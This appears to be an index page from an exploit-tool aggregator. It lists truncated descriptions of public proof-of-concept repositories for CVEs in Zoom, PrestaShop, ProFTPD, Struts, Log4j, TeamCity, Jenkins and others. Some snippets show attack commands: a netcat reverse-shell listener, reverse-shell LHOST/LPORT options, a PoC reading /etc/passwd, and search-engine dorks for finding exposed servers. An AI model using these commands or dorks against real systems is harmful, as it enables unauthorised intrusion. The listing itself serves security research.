Zoom-dll-hijacking

Zoom-dll-hijacking Una vulnerabilidad de secuestro de dll en zoom meeting 5.1.3 Versiones de Windows afectadas Windows 7 o inferior Windows Server 2008 Cualquier otro sistema de Windows que no tenga SHCore.dll presente. Uso Copie dbghelper.dll y SHCore.dll en la siguiente ubicación...

Prestashop-CVE-2024-34716

Script de Explotación para Ataque CSRF y Reverse Shell Este script automatiza un exploit de CSRF Falsificación de Petición en Sitios Cruzados para cargar un reverse shell PHP en el servidor web de un objetivo y ejecutarlo. El reverse shell se entrega como un archivo ZIP mediante un payload CSRF...

CVE-2023-33538-msf

CVE-2023-33538 – TP-Link TL-WR940N/841N Command Injection Metasploit module This Metasploit auxiliary module targets an authenticated command injection vulnerability in TP-Link TL-WR940N V2/V4 and TL-WR841N V8/V10 routers. The issue lies in the vulnerable ssid1 parameter used in WlanNetworkRpm.ht...

ProFTPD_CVE-2015-3306

m4ud Exploit RCE de ProFTPD 1.3.5 CVE : 2015-3306! root@kitploit: ProFTPd 1.3.5 RCE Usage: ProFTPD.py options Options: -h, --help show this help message and exit -l LHOST, --lhost=LHOST Local IP Required for Reverse Shell, -p LPORT, --lport=LPORT Port Required for Reverse Shell, -t TARGET,...

CVE-2024-3094

🚨 CVE-2024-3094 — Puerta trasera en XZ Utils 🧠 Visión general CVE-2024-3094 es un compromiso crítico en la cadena de suministro que afecta a la biblioteca de compresión XZ Utils , ampliamente utilizada. Un actor malicioso insertó una puerta trasera sigilosa en versiones posteriores, lo que permit...

CVE-2018-11776

CVE-2018-11776 Entorno para CVE-2018-11776 / S2-057 Demo Ejecutar servidor root@kitploit: $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 Explotación root@kitploit: $ nc -l 10000 or nc -lp 10000 root@kitploit: $ python3 exploit.py localhost:30080 'ba...

Scanners-for-CVE-2020-0796-Testing

Scanners-for-CVE-2020-0796-Testing Scanners List - Microsoft Windows SMBv3 Remote Code Execution Vulnerability CVE-2020-0796 Microsoft Windows SMBv3 Remote Code Execution Vulnerability CVE-2020-0796 ScannersList A critical remote code execution vulnerability exists in the way that the Microsoft...

CVE-2024-4577

Inyección de argumentos en PHP CGI CVE-2024-4577 RCE 📜 Descripción En las versiones de PHP 8.1. anteriores a 8.1.29, 8.2. anteriores a 8.2.20 y 8.3. anteriores a 8.3.8, al usar Apache y PHP-CGI en Windows, si el sistema está configurado para usar ciertas páginas de código, Windows puede utilizar ...

CVE-2024-27198-RCE

Cyberspace Mapping Dork Fofa root@kitploit: app="JETBRAINS-TeamCity" ZoomEye root@kitploit: app:"JetBrains TeamCity" Hunter.how root@kitploit: product.name="TeamCity" Shodan root@kitploit: http.component:"teamcity" How to use I'm using Python3.9. root@kitploit: pip install requests urllib3 faker ...

CVE-2021-44228_Example

CVE-2021-44228Example Ejecuta cada una de las 3 secciones en una pestaña/consola separada Servidor LDAP marshalsec https://github.com/chilliwebs/marshalsec Bifurcado de https://github.com/mbechler/marshalsec root@kitploit: docker build -t marshalsec marshalsec/. docker run -it --rm -p 1389:1389...

PoC-Apache-CVE-2021-41773-Infrastructure-LAB

Apache CVE-2021-41773 — Laboratorio Docker PoC Aviso de Seguridad Este repositorio reproduce una vulnerabilidad divulgada públicamente y parcheada en un entorno controlado de laboratorio Docker con fines educativos y de investigación. El entorno es intencionalmente vulnerable y solo debe...

CVE-2024-50379-POC

CVE-2024-50379 Exploitation and POC This repository contains a Proof of Concept POC for CVE-2024-50379 , a vulnerability affecting Apache Tomcat. The issue involves a Time-of-Check Time-of-Use TOCTOU race condition , which can lead to Remote Code Execution RCE , especially on case-insensitive fil...

ICT287-CVE-2022-42889

ICT287-CVE-2022-42889 Para encontrar el informe completo de configuración y recreación del exploit, busque el archivo CVE-2022-42889-Project Vulnerability Exploitation Report. La VM que se utilizó para construir y ejecutar el exploit no está incluida en este repositorio. Configuración y recreació...

cve-2019-16278

cve-2019-16278 Nhttpd Nostromo 1.9.6 RCE debido a Directory Traversal root@kitploit: git clone https://github.com/Kr0ff/cve-2019-16278...

CVE-2024-39844

CVE-2024-39844 CVE-2024-39844 ZNC 1.9.1 modtcl RCE HexChat plugin to exploit CVE-2024-39844...

CVE-2025-24797

CVE-2025-24797 Detalle de CVE-2025-24797 - NVD Resumen Un fallo en el manejo de paquetes de malla que contienen datos protobuf no válidos puede resultar en un desbordamiento de búfer controlado por el atacante, permitiendo a un atacante secuestrar el flujo de ejecución, potencialmente resultando ...

poc-cve-2024-23897

poc-cve-2024-23897 this code is my attempt to write a proof of concept under cve 2024 23897. allows you to perform RCE on the attacked machine through the vulnerable args4j module how to use: go run poc.go http://127.0.0.1:8888/ /etc/passwd...

CVE-2020-8816

Notas para defenderse de este exploit Parcheo Simplemente hazlo... ahora. Suscríbete o sigue el repositorio de Pi-hole para nuevas versiones y Issues y Pull requests si eres serio. Red No expongas Pi-hole a internet. Solo expón el puerto DNS 53 de Pi-hole a clientes DNS, no otros puertos como la...

cve-2021-26084-confluence

This is a quick and dirty poc, tuned for a specifc confluence instance as none of the existing off the shelf pocs worked. Obviously it's almost entirely based on the work of https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md and https://github.com/alt3kx/CVE-2021-26084PoC You'll nee...

CVE-2025-27520-PoC

CVE-2025-27520 — Simulación educativa segura / PoC Demo Stand ⚠️ Importante: Esta es una simulación educativa y segura de la vulnerabilidad CVE-2025-27520. El proyecto incluye un servicio simulado Flask y un escáner PoC seguro Python. La simulación crea un archivo de evidencia en data/ al recibir...